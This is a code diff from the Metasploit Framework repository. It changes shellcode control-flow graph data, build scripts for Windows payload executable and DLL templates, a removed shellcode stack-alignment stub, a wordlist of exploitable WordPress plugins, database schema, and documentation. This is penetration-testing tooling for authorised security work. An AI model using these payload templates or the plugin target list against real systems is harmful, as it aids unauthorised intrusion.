-        <edge source="block.0x1065:instruction.0x107d" target="block.0x1065:instruction.0x107e"/>
-        <edge source="block.0x1065:instruction.0x107e" target="block.0x1065:instruction.0x107f"/>
-        <edge source="block.0x1065:instruction.0x107f" target="block.0x1065:instruction.0x1080"/>
-        <edge source="block.0x1065:instruction.0x107f" target="block.0x1065:instruction.0x1083"/>
-        <edge source="block.0x1065:instruction.0x1080" target="block.0x1065:instruction.0x1081"/>
-        <edge source="block.0x1065:instruction.0x1080" target="block.0x1065:instruction.0x1082"/>
-        <edge source="block.0x1065:instruction.0x1081" target="block.0x1065:instruction.0x1082"/>
-        <edge source="block.0x1065:instruction.0x1082" target="block.0x1065:instruction.0x1083"/>
-      </graph>
-    </node>
-    <node id="block.0x1085">
-      <data key="address">0x1085</data>
-      <data key="type">block</data>
-      <graph edgedefault="directed">
-        <data key="address">0x1085</data>
-        <data key="type">block</data>
-        <node id="block.0x1085:instruction.0x1085">
-          <data key="address">0x1085</data>
-          <data key="type">instruction</data>
-          <data key="instruction.hex">58</data>
-          <data key="instruction.source">pop eax</data>
-        </node>
+        <edge source="block.0x1066:instruction.0x1066" target="block.0x1066:instruction.0x107e"/>
+        <edge source="block.0x1066:instruction.0x1066" target="block.0x1066:instruction.0x1067"/>
+        <edge source="block.0x1066:instruction.0x1066" target="block.0x1066:instruction.0x1070"/>
+        <edge source="block.0x1066:instruction.0x1066" target="block.0x1066:instruction.0x107a"/>
+        <edge source="block.0x1066:instruction.0x1067" target="block.0x1066:instruction.0x1075"/>
+        <edge source="block.0x1066:instruction.0x1067" target="block.0x1066:instruction.0x106a"/>
+        <edge source="block.0x1066:instruction.0x106a" target="block.0x1066:instruction.0x1070"/>
+        <edge source="block.0x1066:instruction.0x106a" target="block.0x1066:instruction.0x1080"/>
+        <edge source="block.0x1066:instruction.0x106a" target="block.0x1066:instruction.0x106c"/>
+        <edge source="block.0x1066:instruction.0x106c" target="block.0x1066:instruction.0x1075"/>
+        <edge source="block.0x1066:instruction.0x106c" target="block.0x1066:instruction.0x1070"/>
+        <edge source="block.0x1066:instruction.0x106c" target="block.0x1066:instruction.0x1080"/>
+        <edge source="block.0x1066:instruction.0x1070" target="block.0x1066:instruction.0x1075"/>
+        <edge source="block.0x1066:instruction.0x1070" target="block.0x1066:instruction.0x1073"/>
+        <edge source="block.0x1066:instruction.0x1073" target="block.0x1066:instruction.0x107e"/>
+        <edge source="block.0x1066:instruction.0x1073" target="block.0x1066:instruction.0x1075"/>
+        <edge source="block.0x1066:instruction.0x1073" target="block.0x1066:instruction.0x1080"/>
+        <edge source="block.0x1066:instruction.0x1075" target="block.0x1066:instruction.0x107e"/>
+        <edge source="block.0x1066:instruction.0x1075" target="block.0x1066:instruction.0x1080"/>
+        <edge source="block.0x1066:instruction.0x1075" target="block.0x1066:instruction.0x1078"/>
+        <edge source="block.0x1066:instruction.0x1078" target="block.0x1066:instruction.0x1080"/>
+        <edge source="block.0x1066:instruction.0x1078" target="block.0x1066:instruction.0x107a"/>
+        <edge source="block.0x1066:instruction.0x107a" target="block.0x1066:instruction.0x107e"/>
+        <edge source="block.0x1066:instruction.0x107a" target="block.0x1066:instruction.0x1080"/>
+        <edge source="block.0x1066:instruction.0x107e" target="block.0x1066:instruction.0x107f"/>
+        <edge source="block.0x1066:instruction.0x107f" target="block.0x1066:instruction.0x1080"/>
+        <edge source="block.0x1066:instruction.0x1080" target="block.0x1066:instruction.0x1081"/>
+        <edge source="block.0x1066:instruction.0x1080" target="block.0x1066:instruction.0x1084"/>
+        <edge source="block.0x1066:instruction.0x1081" target="block.0x1066:instruction.0x1082"/>
+        <edge source="block.0x1066:instruction.0x1081" target="block.0x1066:instruction.0x1083"/>
+        <edge source="block.0x1066:instruction.0x1082" target="block.0x1066:instruction.0x1083"/>
+        <edge source="block.0x1066:instruction.0x1083" target="block.0x1066:instruction.0x1084"/>
       </graph>
     </node>
     <node id="block.0x1086">
@@ -566,44 +545,58 @@
         <node id="block.0x1086:instruction.0x1086">
           <data key="address">0x1086</data>
           <data key="type">instruction</data>
+          <data key="instruction.hex">58</data>
+          <data key="instruction.source">pop eax</data>
+        </node>
+      </graph>
+    </node>
+    <node id="block.0x1087">
+      <data key="address">0x1087</data>
+      <data key="type">block</data>
+      <graph edgedefault="directed">
+        <data key="address">0x1087</data>
+        <data key="type">block</data>
+        <node id="block.0x1087:instruction.0x1087">
+          <data key="address">0x1087</data>
+          <data key="type">instruction</data>
           <data key="instruction.hex">5f</data>
           <data key="instruction.source">pop edi</data>
         </node>
-        <node id="block.0x1086:instruction.0x1087">
-          <data key="address">0x1087</data>
+        <node id="block.0x1087:instruction.0x1088">
+          <data key="address">0x1088</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">5a</data>
           <data key="instruction.source">pop edx</data>
         </node>
-        <node id="block.0x1086:instruction.0x1088">
-          <data key="address">0x1088</data>
+        <node id="block.0x1087:instruction.0x1089">
+          <data key="address">0x1089</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">8b12</data>
           <data key="instruction.source">mov edx, dword ptr [edx]</data>
         </node>
-        <node id="block.0x1086:instruction.0x108a">
-          <data key="address">0x108a</data>
+        <node id="block.0x1087:instruction.0x108b">
+          <data key="address">0x108b</data>
           <data key="type">instruction</data>
-          <data key="instruction.hex">eb83</data>
+          <data key="instruction.hex">eb82</data>
           <data key="instruction.source">jmp 0x100f</data>
         </node>
-        <edge source="block.0x1086:instruction.0x1086" target="block.0x1086:instruction.0x1087"/>
-        <edge source="block.0x1086:instruction.0x1087" target="block.0x1086:instruction.0x1088"/>
-        <edge source="block.0x1086:instruction.0x1088" target="block.0x1086:instruction.0x108a"/>
+        <edge source="block.0x1087:instruction.0x1087" target="block.0x1087:instruction.0x1088"/>
+        <edge source="block.0x1087:instruction.0x1088" target="block.0x1087:instruction.0x1089"/>
+        <edge source="block.0x1087:instruction.0x1089" target="block.0x1087:instruction.0x108b"/>
       </graph>
     </node>
     <edge source="block.0x1000" target="block.0x100f"/>
-    <edge source="block.0x100f" target="block.0x1018"/>
-    <edge source="block.0x1018" target="block.0x101f"/>
-    <edge source="block.0x101f" target="block.0x1021"/>
-    <edge source="block.0x1021" target="block.0x1029"/>
-    <edge source="block.0x1029" target="block.0x103a"/>
-    <edge source="block.0x103a" target="block.0x1045"/>
-    <edge source="block.0x1045" target="block.0x1049"/>
-    <edge source="block.0x1049" target="block.0x1051"/>
-    <edge source="block.0x1051" target="block.0x105d"/>
-    <edge source="block.0x105d" target="block.0x1065"/>
-    <edge source="block.0x1065" target="block.0x1085"/>
-    <edge source="block.0x1085" target="block.0x1086"/>
+    <edge source="block.0x100f" target="block.0x101b"/>
+    <edge source="block.0x101b" target="block.0x1022"/>
+    <edge source="block.0x1022" target="block.0x1024"/>
+    <edge source="block.0x1024" target="block.0x102c"/>
+    <edge source="block.0x102c" target="block.0x103d"/>
+    <edge source="block.0x103d" target="block.0x1048"/>
+    <edge source="block.0x1048" target="block.0x104c"/>
+    <edge source="block.0x104c" target="block.0x1055"/>
+    <edge source="block.0x1055" target="block.0x1061"/>
+    <edge source="block.0x1061" target="block.0x1066"/>
+    <edge source="block.0x1066" target="block.0x1086"/>
+    <edge source="block.0x1086" target="block.0x1087"/>
   </graph>
 </graphml>

data/templates/src/elf/dll/elf_dll_armle_template.s

@@ -88,5 +88,7 @@ strtab:
  db 0
  db 0
 strtabsz equ $ - strtab
+
+align 4
 global _start
 _start:

data/templates/src/elf/dll/elf_dll_riscv32le_template.s

@@ -94,5 +94,6 @@ strtab:
  db 0
 strtabsz equ $ - strtab
 
+align 4
 global _start
 _start:

data/templates/src/pe/README.md

@@ -2,9 +2,18 @@
 This directory contains the source code for the PE executable templates.
 
 ## Building
-Use the provided `build_all.bat` file, and run it from within the Visual Studio
-developer console. The batch file requires that the `%VCINSTALLDIR%` environment
-variable be defined (which it should be by default). The build script will
-create both the x86 and x64 templates before moving them into the correct
-folder. The current working directory when the build is run must be the source
-code directory (`pe`).
+Use the provided `build_all.ps1` script from within the Visual Studio developer
+console. The script requires that the `%VCINSTALLDIR%` environment variable be
+defined (which it should be by default). By default it builds all templates for
+both x86 and x64, then moves the outputs into the correct folder.
+
+```powershell
+# build everything
+.\build_all.ps1
+
+# build only x86
+.\build_all.ps1 -Architectures x86
+
+# build only EXE templates
+.\build_all.ps1 -Templates exe,exe_service
+```

data/templates/src/pe/build_all.bat

@@ -1,17 +0,0 @@
-@echo off
-
-echo Compiling DLLs
-
-for /D %%d in (dll*) do (
-  pushd "%%d"
-  call build.bat
-  popd
-)
-
-echo Compiling EXEs
-
-for /D %%e in (exe*) do (
-  pushd "%%e"
-  call build.bat
-  popd
-)

data/templates/src/pe/build_all.ps1

@@ -0,0 +1,230 @@
+<#
+.SYNOPSIS
+    Build all PE executable and DLL templates for Metasploit.
+
+.DESCRIPTION
+    Compiles x86 and x64 variants of the EXE, service EXE, DLL, GDI+ DLL, and
+    mixed-mode DLL templates using the MSVC toolchain. After linking, the EXE
+    templates are patched to lower the minimum subsystem version so they can run
+    on legacy Windows (NT 4.0+ for x86, Server 2003+ for x64). Modern MSVC
+    linkers enforce a floor of 5.01/5.02 which is too high for those targets.
+
+.PARAMETER Architectures
+    Which architectures to build. Defaults to both x86 and x64.
+
+.PARAMETER Templates
+    Which templates to build. Defaults to all of them.
+
+.EXAMPLE
+    .\build_all.ps1
+    .\build_all.ps1 -Architectures x86
+    .\build_all.ps1 -Templates exe,exe_service
+#>
+
+param(
+    [ValidateSet('x86', 'x64')]
+    [string[]]$Architectures = @('x86', 'x64'),
+
+    [ValidateSet('exe', 'exe_service', 'dll', 'dll_gdiplus', 'dll_mixed_mode')]
+    [string[]]$Templates = @('exe', 'exe_service', 'dll', 'dll_gdiplus', 'dll_mixed_mode')
+)
+
+$ErrorActionPreference = 'Stop'
+$ScriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path
+$OutputDir = Resolve-Path (Join-Path $ScriptDir '..\..')
+
+# Each entry defines only what varies per template. The build function handles
+# the common logic: calling cl, optional 256KiB variant, PE version patching.
+#
+#   Dir          - subdirectory containing the source
+#   OutputFmt    - output filename format string, {0} is replaced with the architecture
+#   Source       - source file passed to cl
+#   ClFlags      - flags passed to cl (before /link)
+#   LinkLibs     - libraries passed to the linker (after /link)
+#   LinkRes      - optional .res file to link
+#   EntryPoint   - /entry value
+#   NoDefaultLib - if set, pass /NODEFAULTLIB to the linker
+#   RcArgs       - optional resource compiler arguments (run before cl)
+#   PatchVersion - if set, patch the PE subsystem version after linking
+#
+# DLL templates automatically get a 256KiB payload variant built alongside the
+# standard size. This is determined by the output extension, not a per-template flag.
+$BuildDefs = [ordered]@{
+    exe = @{
+        Dir          = 'exe'
+        OutputFmt    = 'template_{0}_windows.exe'
+        Source       = 'template.c'
+        ClFlags      = @('/GS-')
+        LinkLibs     = @('kernel32.lib')
+        EntryPoint   = 'main'
+        NoDefaultLib = $true
+        PatchVersion = $true
+    }
+    exe_service = @{
+        Dir          = 'exe_service'
+        OutputFmt    = 'template_{0}_windows_svc.exe'
+        Source       = 'template.c'
+        ClFlags      = @('/GS-', '/DBUILDMODE=2')
+        LinkLibs     = @('advapi32.lib', 'kernel32.lib')
+        EntryPoint   = 'main'
+        NoDefaultLib = $true
+        PatchVersion = $true
+    }
+    dll = @{
+        Dir          = 'dll'
+        OutputFmt    = 'template_{0}_windows.dll'
+        Source       = 'template.c'
+        ClFlags      = @('/LD', '/GS-', '/DBUILDMODE=2')
+        LinkLibs     = @('kernel32.lib')
+        LinkRes      = 'template.res'
+        EntryPoint   = 'DllMain'
+        RcArgs       = @('/v', 'template.rc')
+    }
+    dll_gdiplus = @{
+        Dir          = 'dll_gdiplus'
+        OutputFmt    = 'template_{0}_windows_dccw_gdiplus.dll'
+        Source       = '../dll/template.c'
+        ClFlags      = @('/LD', '/GS-', '/DBUILDMODE=2', '/I', '.', '/FI', 'exports.h')
+        LinkLibs     = @('kernel32.lib')
+        LinkRes      = 'template.res'
+        EntryPoint   = 'DllMain'
+        RcArgs       = @('/v', '/fo', 'template.res', '../dll/template.rc')
+    }
+    dll_mixed_mode = @{
+        Dir          = 'dll_mixed_mode'
+        OutputFmt    = 'template_{0}_windows_mixed_mode.dll'
+        Source       = 'template.cpp'
+        ClFlags      = @('/CLR', '/LD', '/GS-', '/I', '..\dll', '/DBUILDMODE=2')
+        LinkLibs     = @('mscoree.lib', 'kernel32.lib')
+        EntryPoint   = 'DllMain'
+    }
+}
+
+if (-not $env:VCINSTALLDIR) {
+    Write-Error 'VCINSTALLDIR is not set. Run this script from a Visual Studio Developer Command Prompt.'
+    exit 1
+}
+
+function Invoke-VCVars {
+    param([string]$Arch)
+    # vcvarsall.bat no-ops if VSCMD_VER is already set, so clear its state
+    # flags before re-running. Otherwise the second arch silently inherits
+    # the first arch's toolchain and produces wrong-architecture binaries.
+    foreach ($v in 'VSCMD_VER', 'VSCMD_ARG_TGT_ARCH', 'VSCMD_ARG_HOST_ARCH') {
+        [System.Environment]::SetEnvironmentVariable($v, $null, 'Process')
+    }
+    $vcvars = Join-Path $env:VCINSTALLDIR 'Auxiliary\Build\vcvarsall.bat'
+    cmd /c "`"$vcvars`" $Arch >nul 2>&1 && set" 2>&1 | ForEach-Object {
+        if ($_ -match '^([^=]+)=(.*)$') {
+            [System.Environment]::SetEnvironmentVariable($matches[1], $matches[2], 'Process')
+        }
+    }
+}
+
+function Invoke-Cl {
+    param(
+        [string[]]$ClFlags,
+        [string]$Source,
+        [string]$OutputName,
+        [string[]]$LinkLibs,
+        [string]$LinkRes,
+        [string]$EntryPoint,
+        [switch]$NoDefaultLib
+    )
+    $clArgs = $ClFlags + @($Source, "/Fe:$OutputName", '/link') + $LinkLibs
+    if ($LinkRes) { $clArgs += $LinkRes }
+    $clArgs += @("/entry:$EntryPoint", '/subsystem:WINDOWS')
+    if ($NoDefaultLib) { $clArgs += '/NODEFAULTLIB' }
+    & cl @clArgs
+    if ($LASTEXITCODE -ne 0) { Write-Error "cl failed for $OutputName" }
+}
+
+function Set-PEVersion {
+    param(
+        [string]$Path,
+        [int]$Major,
+        [int]$Minor
+    )
+    $bytes = [System.IO.File]::ReadAllBytes($Path)
+    $peOffset = [BitConverter]::ToInt32($bytes, 0x3C)
+    if ([System.Text.Encoding]::ASCII.GetString($bytes, $peOffset, 4) -ne "PE`0`0") {
+        Write-Error "$Path is not a valid PE file"
+        return
+    }
+    # PE optional header starts at peOffset + 24. Field offsets from its start:
+    #   +40: MajorOperatingSystemVersion (uint16)
+    #   +42: MinorOperatingSystemVersion (uint16)
+    #   +48: MajorSubsystemVersion      (uint16)
+    #   +50: MinorSubsystemVersion      (uint16)
+    # These offsets are identical for PE32 and PE32+.
+    $opt = $peOffset + 24
+    $verBytes = [BitConverter]::GetBytes([uint16]$Major)
+    $minBytes = [BitConverter]::GetBytes([uint16]$Minor)
+    $bytes[$opt + 40] = $verBytes[0]; $bytes[$opt + 41] = $verBytes[1]
+    $bytes[$opt + 42] = $minBytes[0]; $bytes[$opt + 43] = $minBytes[1]
+    $bytes[$opt + 48] = $verBytes[0]; $bytes[$opt + 49] = $verBytes[1]
+    $bytes[$opt + 50] = $minBytes[0]; $bytes[$opt + 51] = $minBytes[1]
+    [System.IO.File]::WriteAllBytes($Path, $bytes)
+    Write-Host "  Patched OS and subsystem version to ${Major}.${Minor}"
+}
+
+function Build-Template {
+    param([string]$Arch, [string]$Name)
+    $def = $BuildDefs[$Name]
+
+    Push-Location (Join-Path $ScriptDir $def.Dir)
+    try {
+        if ($def.RcArgs) {
+            & rc @($def.RcArgs)
+            if ($LASTEXITCODE -ne 0) { throw "rc failed for $Name ($Arch)" }
+        }
+
+        $outName = $def.OutputFmt -f $Arch
+        Invoke-Cl -ClFlags $def.ClFlags -Source $def.Source -OutputName $outName `
+                  -LinkLibs $def.LinkLibs -LinkRes $def.LinkRes `
+                  -EntryPoint $def.EntryPoint -NoDefaultLib:([bool]$def.NoDefaultLib)
+
+        if ($Name -like 'dll*') {
+            $outName256 = $outName -replace '(\.\w+)$', '.256kib$1'
+            Invoke-Cl -ClFlags ($def.ClFlags + '/DSCSIZE=262144') -Source $def.Source -OutputName $outName256 `
+                      -LinkLibs $def.LinkLibs -LinkRes $def.LinkRes `
+                      -EntryPoint $def.EntryPoint -NoDefaultLib:([bool]$def.NoDefaultLib)
+        }
+    } finally { Pop-Location }
+
+    if ($def.PatchVersion) {
+        $outPath = Join-Path $ScriptDir "$($def.Dir)\$outName"
+        if ($Arch -eq 'x86') {
+            Set-PEVersion -Path $outPath -Major 4 -Minor 0
+        } else {
+            Set-PEVersion -Path $outPath -Major 5 -Minor 2
+        }
+    }
+}
+
+# Build each requested template for each architecture
+foreach ($arch in $Architectures) {
+    Write-Host "`n=== Configuring for $arch ===" -ForegroundColor Cyan
+    Invoke-VCVars $arch
+
+    foreach ($tmpl in $Templates) {
+        Write-Host "`nBuilding: $tmpl ($arch)" -ForegroundColor Green
+        Build-Template -Arch $arch -Name $tmpl
+    }
+}
+
+# Clean intermediate files and move outputs
+Write-Host "`n=== Cleaning up ===" -ForegroundColor Cyan
+Get-ChildItem $ScriptDir -Recurse -File |
+    Where-Object { $_.Extension -in '.obj', '.res', '.exp', '.lib' } |
+    Remove-Item -Force
+
+Write-Host "`n=== Moving outputs to $OutputDir ===" -ForegroundColor Cyan
+Get-ChildItem $ScriptDir -Recurse -File |
+    Where-Object { $_.Extension -in '.exe', '.dll' } |
+    ForEach-Object {
+    Move-Item $_.FullName (Join-Path $OutputDir $_.Name) -Force
+    Write-Host "  $($_.Name)"
+}
+
+Write-Host "`nDone." -ForegroundColor Green

data/templates/src/pe/dll/build.bat

@@ -1,15 +0,0 @@
-@echo off
-
-if "%~1"=="" GOTO NO_ARGUMENTS
-echo Compiling for: %1
-call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
-rc /v template.rc
-cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
-cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 template.c /Fe:template_%1_windows.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
-exit /B
-
-:NO_ARGUMENTS
-%COMSPEC% /c "%0" x86
-%COMSPEC% /c "%0" x64
-del  *.obj *.res
-move *.dll ..\..\..

data/templates/src/pe/dll_gdiplus/build.bat

@@ -1,15 +0,0 @@
-@echo off
-
-if "%~1"=="" GOTO NO_ARGUMENTS
-echo Compiling for: %1
-call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
-rc /v /fo template.res ../dll/template.rc
-cl /LD /GS- /DBUILDMODE=2 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
-cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
-exit /B
-
-:NO_ARGUMENTS
-%COMSPEC% /c "%0" x86
-%COMSPEC% /c "%0" x64
-del  *.exp *.lib *.res *.obj
-move *.dll ..\..\..

data/templates/src/pe/dll_mixed_mode/build.bat

@@ -1,15 +0,0 @@
-@echo off
-
-if "%~1"=="" GOTO NO_ARGUMENTS
-echo Compiling for: %1
-call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
-rem mscoree.lib requires .NET SDK to be installed, add it as a Visual Studio component
-cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 template.cpp /Fe:template_%1_windows_mixed_mode.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
-cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 /DSCSIZE=262144 template.cpp /Fe:template_%1_windows_mixed_mode.256kib.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
-exit /B
-
-:NO_ARGUMENTS
-%COMSPEC% /c "%0" x86
-%COMSPEC% /c "%0" x64
-del  *.obj
-move *.dll ..\..\..

data/templates/src/pe/exe/build.bat

@@ -1,13 +0,0 @@
-@echo off
-
-if "%~1"=="" GOTO NO_ARGUMENTS
-echo Compiling for: %1
-call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
-cl /GS- template.c /Fe:template_%1_windows.exe /link kernel32.lib /entry:main /subsystem:WINDOWS /NODEFAULTLIB
-exit /B
-
-:NO_ARGUMENTS
-%COMSPEC% /c "%0" x86
-%COMSPEC% /c "%0" x64
-del  *.obj *.res
-move *.exe ..\..\..

data/templates/src/pe/exe_service/build.bat

@@ -1,13 +0,0 @@
-@echo off
-
-if "%~1"=="" GOTO NO_ARGUMENTS
-echo Compiling for: %1
-call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
-cl /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows_svc.exe /link advapi32.lib kernel32.lib /entry:main /subsystem:WINDOWS /NODEFAULTLIB
-exit /B
-
-:NO_ARGUMENTS
-%COMSPEC% /c "%0" x86
-%COMSPEC% /c "%0" x64
-del  *.obj *.res
-move *.exe ..\..\..

data/utilities/encrypted_payload/AdjustStack.asm

@@ -1,48 +0,0 @@
-/*
- * This code is provided under the 3-clause BSD license below.
- * ***********************************************************
- *
- * Copyright (c) 2013, Matthew Graeber
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
- *
- *   Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
- *   Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
- *   The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission.
- *
- * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-*/
-
-; Author:       Matthew Graeber (@mattifestation)
-; License:      BSD 3-Clause
-; Syntax:       MASM
-; Build Syntax: ml64 /c /Cx AdjustStack.asm
-; Output:       AdjustStack.obj
-; Notes: I really wanted to avoid having this external dependency but I couldnt
-; come up with any other way to guarantee 16-byte stack alignment in 64-bit
-; shellcode written in C.
-
-extern	ExecutePayload
-global  AlignRSP			; Marking AlignRSP as PUBLIC allows for the function
-							; to be called as an extern in our C code.
-
-segment .text
-
-; AlignRSP is a simple call stub that ensures that the stack is 16-byte aligned prior
-; to calling the entry point of the payload. This is necessary because 64-bit functions
-; in Windows assume that they were called with 16-byte stack alignment. When amd64
-; shellcode is executed, you cant be assured that you stack is 16-byte aligned. For example,
-; if your shellcode lands with 8-byte stack alignment, any call to a Win32 function will likely
-; crash upon calling any ASM instruction that utilizes XMM registers (which require 16-byte)
-; alignment.
-
-AlignRSP:
-	push	rsi						; Preserve RSI since were stomping on it
-	mov		rsi, rsp				; Save the value of RSP so it can be restored
-	and		rsp, 0FFFFFFFFFFFFFFF0h	; Align RSP to 16 bytes
-	sub		rsp, 020h				; Allocate homing space for ExecutePayload
-	call	ExecutePayload			; Call the entry point of the payload
-	mov		rsp, rsi				; Restore the original value of RSP
-	pop		rsi						; Restore RSI
-	ret								; Return to caller

data/utilities/encrypted_payload/func_order.ld

@@ -1,9 +0,0 @@
-ENTRY(_ExecutePayload)
-SECTIONS
-{
-	.text :
-	{
-		*(.text.ExecutePayload)
-	}
-
-}

data/utilities/encrypted_payload/func_order64.ld

@@ -1,11 +0,0 @@
-ENTRY(AlignRSP)
-SECTIONS
-{
-	.text :
-	{
-    *(.text.AlignRSP)
-		*(.text.ExecutePayload)
-		*(.text.GetProcAddressWithHash)
-	}
-
-}

data/wordlists/wp-exploitable-plugins.txt

@@ -10,7 +10,6 @@ bulletproof-security
 catch-themes-demo-import
 chopslider
 custom-registration-form-builder-with-submission-manager
-depicter
 download-manager
 drag-and-drop-multiple-file-upload-contact-form-7
 dukapress
@@ -30,6 +29,7 @@ learnpress
 loginizer
 masterstudy-lms-learning-management-system
 modern-events-calendar-lite
+modern-events-calendar-lite
 nextgen-gallery
 ninja-forms
 paid-memberships-pro
@@ -48,11 +48,7 @@ simple-file-list
 slideshow-gallery
 sp-client-document-manager
 subscribe-to-comments
-suretriggers
-tatsu
 ultimate-member
-user-registration
-user-registration-pro
 website-contact-form-with-file-upload
 woocommerce-abandoned-cart
 woocommerce-payments
@@ -60,17 +56,18 @@ wordpress-mobile-pack
 wordpress-popular-posts
 work-the-flow-file-upload
 wp-automatic
-wpdiscuz
 wp-easycart
 wp-fastest-cache
 wp-file-manager
 wp-gdpr-compliance
 wp-mobile-detector
 wp-mobile-edition
-wps-hide-login
-wpshop
+wp-symposium
 wp-symposium
 wp-time-capsule
-wptouch
 wp-ultimate-csv-importer
+wpdiscuz
+wps-hide-login
+wpshop
+wptouch
 wysija-newsletters

db/schema.rb

@@ -10,7 +10,7 @@
 #
 # It's strongly recommended that you check this file into your version control system.
 
-ActiveRecord::Schema[7.2].define(version: 2025_07_21_114306) do
+ActiveRecord::Schema[7.2].define(version: 2026_04_11_000000) do
   # These are extensions that must be enabled in order to support this database
   enable_extension "plpgsql"
 
@@ -576,6 +576,12 @@ ActiveRecord::Schema[7.2].define(version: 2025_07_21_114306) do
     t.index ["module_run_id"], name: "index_sessions_on_module_run_id"
   end
 
+  create_table "sessions_tags", force: :cascade do |t|
+    t.integer "session_id"
+    t.integer "tag_id"
+    t.index ["session_id", "tag_id"], name: "index_sessions_tags_on_session_id_and_tag_id", unique: true
+  end
+
   create_table "tags", id: :serial, force: :cascade do |t|
     t.integer "user_id"
     t.string "name", limit: 1024
@@ -646,6 +652,7 @@ ActiveRecord::Schema[7.2].define(version: 2025_07_21_114306) do
     t.string "company"
     t.string "prefs", limit: 524288
     t.boolean "admin", default: true, null: false
+    t.boolean "sso_enabled", default: false, null: false
   end
 
   create_table "vuln_attempts", id: :serial, force: :cascade do |t|
@@ -658,6 +665,8 @@ ActiveRecord::Schema[7.2].define(version: 2025_07_21_114306) do
     t.integer "session_id"
     t.integer "loot_id"
     t.text "fail_detail"
+    t.string "check_code"
+    t.text "check_detail"
   end
 
   create_table "vuln_details", id: :serial, force: :cascade do |t|

docs/README.md

@@ -4,6 +4,8 @@ This folder maintains the docs for https://docs.metasploit.com/ and https://gith
 
 ## Architecture
 
+This section explains how the documentation site is generated and deployed.
+
 How it works:
 
 - `build.rb` - The main entry point for generating the docs site from the old Github Wiki format files within `metasploit-framework.wiki/`
@@ -11,7 +13,7 @@ How it works:
 - `metasploit-framework.wiki/` - The raw markdown documentation files. Modify these files when updating the site. These files originally came from https://github.com/rapid7/metasploit-framework/wiki 
 - `metasploit-framework.wiki.old/` - A separate clone of https://github.com/rapid7/metasploit-framework/wiki
 
-Behind the scenes these docs are built and deployed to https://docs.metasploit.com/
+Behind the scenes, these docs are built and deployed to https://docs.metasploit.com/
 
 ### Adding pages
 

docs/metasploit-framework.wiki/GSoC-2026-Project-Ideas.md

@@ -72,3 +72,18 @@ Preferred Skills: Experience using containers; understanding of container defini
 
 If you want to suggest your own idea, please discuss it with us first on [Slack](https://metasploit.com/slack) in the
 `#gsoc` channel to make sure it is a reasonable amount of work for a summer and that it fits the goals of the project.
+
+## AI Usage Policy
+We understand that AI aided development seems to be the future and we have no strong opposition towards GSoC contributors using
+AI, responsibly. All code submitted for review must be both understood and tested successfully by the contributor and testing output or
+proof of working functionality must be included in the PR description.
+
+### Note on AI
+Beware that although AI can be a powerful tool, it often generates more code than is needed and has the tendency to
+rewrite library functionality that has already been implemented in the Metasploit-Framework. The best way to learn how
+to do something in Framework is to traverse the code base, study modules which follow similar exploit paths and if you
+have questions you can always ask in [Slack](https://metasploit.com/slack). At its current maturity level AI is great for helping with smaller tasks.
+For example, if you are new to writing Ruby code, ask how to parse a hash and iterate over both the keys and values,
+and it will likely be very helpful. Larger tasks, it will struggle with. For example, if you ask “I would like you to
+write a Metasploit module for this CVE / PoC” it will generate lots of code (aka slop) that will not run. PRs submitted
+that do not work and have clearly been AI generated will not be reviewed and repeated offenders will have disciplinary action applied.

docs/metasploit-framework.wiki/How-to-Send-an-HTTP-Request-Using-HttpClient.md

@@ -81,14 +81,17 @@ Any object passed to `cookie` that isn't an instance of HttpCookieJar will have
 
 ----
 
-Module authors can also pass an instance of `HttpCookieJar` with the `cookie` option:
+Module authors can also pass an instance of `HttpCookieJar` with the `cookie` option.
+
+Important: Cookies added to a `HttpCookieJar` must have both `domain` and `path` set, and cookie values must be strings. Without these attributes the underlying cookie store will raise an `ArgumentError`.
 
 ```ruby
 cj = Msf::Exploit::Remote::HTTP::HttpCookieJar.new
 
-cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('PHPSESSID', @phpsessid))
